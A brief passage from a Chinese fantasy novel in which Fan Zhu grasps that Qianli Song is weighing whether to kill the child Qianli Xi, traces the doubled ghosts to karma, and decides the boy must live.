樊竹知道千里讼在想什么。如果趁此子年幼,与这世间还没产生太多的联系,杀了他,不说解决现在的事,以后的事就解决了。 想到这儿,樊竹幡然醒悟,为什么会有两只鬼同时存在?是魂魄碎得太多了吗?不对,不是魂魄,却是比魂魄还难以消解的东西。 樊竹也同样看向千里习。 九摇当初并非心甘情愿,他的执念,不甘,不比九幽轻,那这到底是谁? 樊竹脑海浮现出一个可怕的念头。 因果。他已经在千里辞那里经历过一次了。 千里习还不能死,不管他是谁。